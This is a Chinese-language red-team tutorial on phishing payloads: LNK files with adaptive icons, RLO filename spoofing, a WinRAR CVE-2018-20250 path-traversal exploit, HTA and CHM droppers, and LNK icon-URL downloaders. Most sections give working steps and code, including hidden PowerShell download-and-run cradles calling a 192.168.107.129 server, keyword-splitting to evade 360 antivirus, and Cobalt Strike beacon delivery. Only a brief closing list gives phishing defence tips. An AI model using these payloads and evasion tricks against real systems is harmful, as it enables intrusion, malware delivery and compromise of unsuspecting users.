0x01 Lnk:
lnk文件是用于指向其他文件的一種文件。這些文件通常稱為快捷方式文件,通常它以快捷方式放在硬盤上,以方便使用者快速的調用。lnk釣魚主要將圖標偽裝成正常圖標,但是目標會執行shell命令。
lnk文件的載荷擁有自動隱藏.lnk后綴名,從而展現偽裝的后綴名以欺騙目標的特點而被廣泛使用。
以calc.exe的快捷方式為例,我們首先更改ico圖標:
這里存在一個問題,如果用系統自帶的ico去做文件圖標替換的話會有個弊端,即當替換的ico在目標機器上不存在時,就會出現類似空白ico圖標。我們可以通過修改lnk的icon_location標志位,修改為相關后綴,系統即可自動關聯到對應的打開方式,達到自適配的效果
利用010 Editor
打開lnk文件,找到String Data部分ICON_LOCATION
字符串:
將其修改為./1.pdf:
效果展示:
修改ICON_LOCATION后,會根據目標機器上所安裝的環境進行適配,以顯示出符合本機環境的圖標,加大了樣本的成功幾率
0x02 文件名反轉(RLO)+ 超長文件名隱藏:
利用原理:
在windows下面,支持一種特殊的unicode字符RLO,一個字符串中如果有這個字符的話,那么在windows下顯示時,就會把RLO右側的字符串逆序顯示出來。
在Windows中,如果我們直接修改文件后綴,會更改文件原本類型。但我們可以通過在文件名中插入此類unicode字符,來達到文件名反轉的效果,實現文件名欺騙,而不更改文件原本類型。
以cmd.exe為例,將其重命名為cmdgpj.exe,然后在 cmd 與 g 之間右鍵選擇插入Unicode控制字符
,選擇RLO。然后利用http://www.bitbug.net/
將圖片轉為ico圖標,再配合ResourceHacker修改圖標。
利用windows目錄默認顯示文件名長度特性,進行修改將文件名加長隱藏后綴名。
或者可以新建一個bat文件,使用cs生成powershell木馬,將其保存為test.bat。利用BAT2EXE導入前面創建的test.bat,然后將notepad
添加到test.bat的頂部,將Exe格式更改為"隱形應用程序",以防止在目標用戶打開文件時彈出任何終端,最后點擊Convert。
轉換成exe以后,利用RLO進行文件名反轉,再添加記事本的圖標來進行偽裝。當用戶關閉此txt時會新增一個powershell進程。這樣做會使目標用戶相信他們剛剛單擊的文件確實是合法的文本文件,殊不知CS已悄然上線。
0x03 WinRAR目錄穿越漏洞(CVE-2018-20250)
該漏洞是由于 WinRAR 所使用的一個陳舊的動態鏈接庫UNACEV2.dll所造成的,該動態鏈接庫在 2006 年被編譯,沒有任何的基礎保護機制(ASLR, DEP 等)。動態鏈接庫的作用是處理 ACE 格式文件。而WinRAR解壓ACE文件時,由于沒有對文件名進行充分過濾,導致其可實現目錄穿越,將惡意文件寫入任意目錄,甚至可以寫入文件至開機啟動項,導致代碼執行
- 漏洞利用原理:
漏洞主要是由 WinRAR 用來解壓ACE壓縮包采用的動態鏈接庫 unacev2.dll 這個dll引起的。unacev2.dll 中處理 filename 時只校驗了 CRC,黑客可以通過更改壓縮包的 CRC 校驗碼來修改解壓時候的 filename,來觸發這個Path Traversal漏洞。但是 WinRAR 本身檢測了 filename,有一些限制并且普通用戶解壓 RAR 文件時候,并不能將我們惡意的 Payload 解壓到需要 System 權限的文件夾。
當用戶將文件下載到默認的C:\Users\test\Downloads
目錄下時,我們通過構造C:\C:C:../AppData\Roaming\Microsoft\Windows\StartMenu\Programs\Startup\test.exe
經過 WinRAR 的 CleanPath 函數處理之后,會變成:C:../AppData\Roaming\Microsoft\Windows\StartMenu\Programs\Startup\test.exe
其中 C: 會被轉換成當前路徑,如果用 WinRAR 打開那么當前路徑就是C:\Program Files\WinRAR
,要是在文件夾中右鍵解壓到 xxx,那么當前路徑就是壓縮包所在的路徑。
當用戶在文件夾中直接右鍵解壓到 xx,那么我們惡意的 payload 解壓地址就會變成:C:\Users\test\Downloads../AppData\Roaming\Microsoft\Windows\StartMenu\Programs\Startup\test.exe
就是當前用戶的啟動項。這樣一個利用完成了從一個Path Traversal到任意命令執行的過程。
補充:如果解壓縮軟件并非目標版本,則提示解壓失敗或者不是一個正常的壓縮包。
- 漏洞危害:
1、通過這個漏洞黑客可以將惡意程序(挖礦、勒索、間諜、anything)放入用戶啟動項,當目標電腦重新啟動時獲取目標主機的權限。
2、在擁有system權限下可以放入c:/windows/system32/wbem/mof/nullevt.mof,直接在獲取目標主機的權限。
3、可以投放惡意dll文件進行dll劫持獲取到目標主機的權限,或者覆蓋用戶主機上的文件等方式獲取目標主機的權限
- 漏洞影響范圍:
- WinRAR < 5.70 Beta 1
- Bandizip <= 6.2.0.0
- 好壓(2345壓縮) <= 5.9.8.10907
- 360壓縮 <= 4.0.0.1170
漏洞利用exp:https://github.com/WyAtu/CVE-2018-20250
制作好CS馬后,將其復制到項目文件中,修改exp.py文件中的evil_filename:
修改python3的運行命令
運行exp.py后,將生成的惡意test.rar文件傳到win7靶機中的download目錄中
使用WINRAR解壓文件,解壓后會在自啟動目錄生成一個惡意文件hi.exe,我們可以運行shell:startup
進行查看
更多利用方式請參考:WinRAR(CVE-2018-20250)漏洞利用再升級 減少重啟系統的依賴
0x04 HTA:
HTA是HTML Application的縮寫,直接將HTML保存成HTA的格式,是一個獨立的應用軟件,本身就是html應用程序,雙擊就能運行,卻比普通網頁權限大得多,它具有桌面程序的所有權限。
Cobalt Strike也支持HTA釣魚文件的生成,提供了3種生成方式 exe,powershell,vba
生成方式:Attack>Packages>HTML Application
其中VBA方法需要目標系統上的Microsoft Office,在系統支持的情況下我們一般選擇powershell,因為這種方式更加容易免殺。通常我們結合host File(文件下載功能),生成一個下載惡意HTA的網址來實行釣魚。
0x05 CHM:
CHM(Compiled Help Manual)即“已編譯的幫助文件”。它是微軟新一代的幫助文件格式,利用HTML作源文,把幫助內容以類似數據庫的形式編譯儲存。CHM支持Javas cript、VBs cript、ActiveX、Java?Applet、Flash。
常見圖形文件(GIF、JPEG、PNG)、音頻視頻文件(MID、WAV、AVI)等等,并可以通過URL與Internet聯系在一起。因為使用方便,形式多樣也被采用作為電子書的格式。
創建一個文件夾,在文件夾里面再創建兩個文件夾和一個index.html文件。index.html文件內容如下:
<!DOCTYPE html><html><head><title>Mousejack replay</title><head></head><body>
command exec
<OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>
<PARAM name="Command" value="ShortCut">
<PARAM name="Button" value="Bitmap::shortcut">
<PARAM name="Item1" value=',calc.exe'>
<PARAM name="Item2" value="273,1,1">
</OBJECT>
<SCRIPT>
x.Click();
</SCRIPT>
</body></html>
使用EasyCHM進行編譯后,打開生成的CHM文件,就會彈出計算器:
利用powershell上線CS:
注意:exe后面要再加一個英文版逗號否則無法執行exe,還要注意payload字符串的雙引號跟單引號是否沖突
使用CHM執行powershell腳本,但唯一不足就是會彈出黑框。這里可以利用MyJSRat配合chm進行上線
python2 MyJSRat.py -i 192.168.107.129 -p 8555
然后訪問下 url:http://192.168.107.129:8555/wtf
將payload復制到index.html文件中,然后重新編譯CHM。
受害者打開chm文件后,觸發Payload可無彈窗運行命令:
實際釣魚的過程中,可以用正常chm文檔進行偽裝,將其轉成html:
hh -decompile .\\html CHM.CHM
釣魚html payload復制修改,嵌入到IBurpCollaboratorClientContext.html文件中
0x06 拓展一:
1、新建一個指向%windir%/System32/mshta.exe
的快捷方式(文件名盡量帶有迷惑性),并更改其圖標為%SystemRoot%/System32/SHELL32.dll
中任意一個
2、利用CS生成一個HTA文件,并利用Host File模塊生成兩個下載地址。其中一個指向正常的pdf文件,還有一個指向HTA文件
3、編輯HTA文件,于其執行payload前增加如下語句(用于下載誘餌文檔并且進行打開,同時誘餌文檔的顯示有多種方法,這里只是舉一個例子):
Dim open_pdf
Set open_pdf = CreateObject("Wscript.Shell")
open_pdf.run "powershell -nop -w hidden (new-object System.Net.WebClient).DownloadFile('http://192.168.107.129/1.pdf',$env:temp+'/2022最新薪資架構制度.pdf');Start-Process $env:temp'/2022最新薪資架構制度.pdf'", 0, true
利用上述方法,將lnk文件修改為自適應的pdf的圖標,效果如下:
然后發送給靶機win7,雙擊該LNK文件,主機便會上線,而受害者會看到一正常的PDF文檔:
0x07 拓展二:
利用原理:
- 利用ftp參數!可以執行系統命令
- -s:filename(指定包含 FTP 命令的文本文件;命令在FTP啟動后自動運行。此參數中沒有空格。)
利用以上兩點達到命令執行的效果
- 利用過程:
1、創建一個快捷方式(參數混淆繞過360):
2、新建一個aaa.dll,內容為執行當前目錄下的1.ps1文件:!cmd /k powershell -exec bypass .\1.ps1
3、1.ps1內容為CS上線命令,這里使用使用拼接的方式替換關鍵詞,可繞過360的檢測:
$c3 ='IEX';
$c6='(new-object net.webc';
$c7='lient).downlo';
$c8='adstr';
$c9 ='ing(''http://192.168.107.129:80/abc'')';
IEX ($c3+$c6+$c7+$c8+$c9)
0x08 拓展三:
- 快捷方式圖標下載執行exe
操作系統不僅會從本地驅動器加載外部圖標文件,還會嘗試從以 UNC 格式指定的遠程路徑或者通過URL加載。當文件資源管理器顯示 LNK 文件時,會嘗試加載圖標,如果圖標由 UNC 或 URL 路徑指定存在,它將被下載并顯示。當計算機獲取文件之后會像鏈接請求并緩存到:%USERPROFILE%\AppData\Local\Microsoft\Windows\INetCache
注意:ICON_LOCATION 字符串的限制:必須以.ico
結尾
直接用ps1生成快捷方式:
$shell = New-Object -ComObject WScript.Shell
$shortcut = $shell.CreateShortcut("C:\users\sws123\desktop\aaaa.lnk")
$shortcut.TargetPath = "C:\windows\system32\cmd.exe"
$shortcut.Arguments = ' /c "cd %USERPROFILE%\AppData\Local\Microsoft\Windows\INetCache & dir /s /B calc*.exe | cmd.exe /k" '
$shortcut.IconLocation = "http://192.168.107.129:8000/calc.exe?.ico"
$shortcut.Save()
當在文件資源管理器中打開 LNK 所在的文件夾時,操作系統將嘗試使用 HTTP GET 請求下載 URL 指定的文件:
生成的 HTTP GET 請求將導致將calc.exe下載到路徑 %USERPROFILE%\AppData\Local\Microsoft\Windows\INetCache
(在 W10 機器上)中的某個位置,名稱為 calc[1].exe
由于文件路徑是基本確定的,可以通過lnk文件修改鏈接指向cmd并執行它
- 利用方式:
制作一個特殊的 LNK 文件,將其壓縮并通過網絡釣魚電子郵件發送出去,或者將 LNK 上傳到多個用戶使用的網絡文件共享
詳情請參考:Using Shell Links as zero-touch downloaders and to initiate network connections
釣魚郵件防范措施:
對公司來說:
1)組織員工進行釣魚郵件防范培訓,提高全員網絡空間安全防范意識;
2)在公司內部不定期進行釣魚郵件安全測試,及時發現問題并采取補救措施;
3)使用高安全性郵件系統,并及時配置安全過濾機制;
4)敦促員工安裝殺毒軟件,并及時更新病毒庫.
對個人來說:
1)認真學習CNCERT發布的《釣魚郵件攻擊防范指南》,做到“五要”“五不要”,增強安全防范意識;
2)不要輕信發件人地址顯示的“顯示名”,遇到索要敏感信息的郵件需要及時通過電話核實;
3)切忌輕易打開郵件中文中的短鏈接,謹防上當受騙,造成財物損失;
4)安裝殺毒軟件,郵件附件運行前先進行病毒查殺.
參考如下:
基于釣魚攻擊的技術點研究
紅隊攻防之CHM文檔釣魚
紅藍對抗之郵件釣魚攻擊
HW在即——紅隊活動之Lnk樣本載荷篇
【漏洞復現】WinRAR目錄穿越漏洞(CVE-2018-20250) - 愛碼網
滲透地基釣魚篇-Cobalt Strike釣魚
黑客實戰經常用到的釣魚繞過騷操作